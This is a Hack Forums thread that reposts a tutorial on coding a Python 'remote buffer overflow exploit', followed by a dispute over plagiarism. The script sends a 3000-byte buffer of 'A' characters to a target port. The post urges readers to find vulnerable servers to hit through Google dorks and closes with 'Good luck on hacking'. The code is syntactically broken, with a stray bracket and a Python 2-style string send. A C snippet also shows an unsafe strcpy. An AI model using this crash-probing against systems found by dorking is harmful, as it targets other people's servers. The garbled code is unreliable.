

Forum:[Hack Forums](#)

Thread: [Remote Buffer Overflow Exploit With Python](#)

SIM-4086413 - August 3, 2019, 2:37 pm

Hello, this time we are coding a Remote Buffer Overflow Exploit with Python that works with TCP only.

You are going to need: Python 3.4

Internet Connection

A vulnerable server

Computer with Windows or Linux

If you haven't got installed Python yet, download it from the following link:

<https://www.python.org/downloads/>

You can find some of the Python basics in this previous tutorial at

<http://www.hacking-tutorial.com/hacking-tutorial/code-your-first-simple-sql-injection-checking-vulnerability-with-python/>

Step by Step Coding Remote Buffer Overflow Exploit with Python:

1. Finding a server for testing

This is more complicated. Try searching for dorks at GHDB (

<https://www.exploit-db.com/google-hacking-database/>) or for vulnerable software at Exploit-DB (<https://www.exploit-db.com>).

2. Coding

Coding is the easy part. Begin from importing sys and socket, then, write the following code:

Code for carg in sys.argv:

```
if carg == "-s":
```

```
    argnum = sys.argv.index(carg)
```

```
    argnum += 1
```

```
    host = sys.argv[argnum]
```

```
elif carg == "-p":
```

```
    argnum = sys.argv.index(carg)
```

```
    argnum += 1
```

```

port = sys.argv[argnum[
buffer = "\x41"* 3000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,port))

s.send("USV " + buffer + "\r\n\r\n")

s.close()
Code should look like this:

```

Now, let's analyze the code. We already know the argument identification script from my previous tutorial. The second line makes a buffer, that is \x41 multiplied 3000 times. Then we see the lines of declaring s as socket, connecting with it, sending the buffer and closing the socket. Looks pretty hard, but it isn't.

After you have done these steps above, it's time to test out our script!

As we see, the script works really great. I have tested it on one of my servers with vulnerable software. Good luck on hacking!

How to avoid RBO

This depends on programming language. As example, on C, you can be vulnerable to remote buffer overflow if you use code like this:

```

Code int authenticated = 0;
char password_buffer[16];
strcpy(password_buffer, your_password)
if (strcmp(password_buffer, password) == 0) {
    authenticated = 1;
}
else {
    authenticated = 0;
}

```

So, once the your_password is over 16, you can implement auth overflow, or if there are even more, you can get buffer overflow with segmentation fault error.

So, as I have already mentioned, in various cases, the solution differs.

Credits: [Vilius Povilaika](https://www.hacking-tutorial.com)
www.hacking-tutorial.com

int - August 4, 2019, 8:39 am

<https://www.hacking-tutorial.com/hacking-tutorial/remote-buffer-overflow-exploit-with-python/>

really dude? straight stole the entire tutorial and reposted it?

SIM-4086413 - August 4, 2019, 8:55 am

(Aug 4, 2019 08:39 AM)int Wrote: [\[CITE\]](#)

<https://www.hacking-tutorial.com/hacking-tutorial/remote-buffer-overflow-exploit-with-python/>

really dude? straight stole the entire tutorial and reposted it?

Credits to the original creator (not just the site where it's posted on) are in the thread and have been way before you posted that link, i didn't stole anything i simply shared a tutorial with giving credits to the original creator, the tutorial wasn't present on HF yet and lets not forget int that this is a Forum board, i'm not selling anything i'm simply sharing knowledge, main reason why forums exist.

If i was selling this and hiding where it came from then yes your reply would have been fair but that aint the case, use your brain, you got one.

I simply noticed knowledge that wasn't present on this forum board yet and i also noticed that you get rewarded for sharing knowledge and so i did.

Credits to the original creator are in the thread.

PS. The freaking domain is in all the images aswell and links to the original creator and the tutorial are aswell so don't act as if it costed you effort to find that link unless it really did cost you effort but then you shouldn't be here lol.